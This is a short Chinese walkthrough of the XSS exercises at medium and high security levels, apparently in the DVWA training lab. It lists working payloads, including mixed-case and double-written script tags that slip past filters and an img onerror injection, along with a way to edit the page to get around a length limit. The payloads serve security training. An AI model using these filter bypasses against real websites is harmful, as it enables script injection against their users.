中(medium)级别
XSS(DOM)
构造payload:</select><img src=1 οnerrοr=alert("xss")>,在URL上输入
XSS(reflected)
输入框输入<script>alert("xss")</script>
发现只显示alert(“xss”),猜测这里有对<script>过滤
猜测大小写,输入<sCript>alert("xss")</scriPt>,成功
猜测双写,输入<scr<script>ipt>alert("xss")</script>,也可以
XSS(stored)
发现name输入框对长度有限制,按F12打开查看器,修改前端代码
<script>alert("xss")</script>,发现标签被过滤
大小写<sCript>alert("xss")</scriPt>、双写<scr<script>ipt>alert("xss")</script>
都在name输入框上成功
构造<img src=0 οnerrοr=alert("xss")>输入,两个输入框都可以
高(high)级别
XSS(DOM)
构造payload:<script>alert("xss")</script>,注意这次URL上的defalut要为空,
前面加#号,回车如果不行刷新一下就可以了。
XSS(reflected)
用中级的方法试过之后发现都不可以,对<script>任何形式都进行了过滤,此时我们就不能再用<script>了,只能换一句payload,构造<img src=0 οnerrοr=alert("xss")>输入。
XSS(stored)
构造<img src=0 οnerrοr=alert("xss")>输入,两个输入框都可以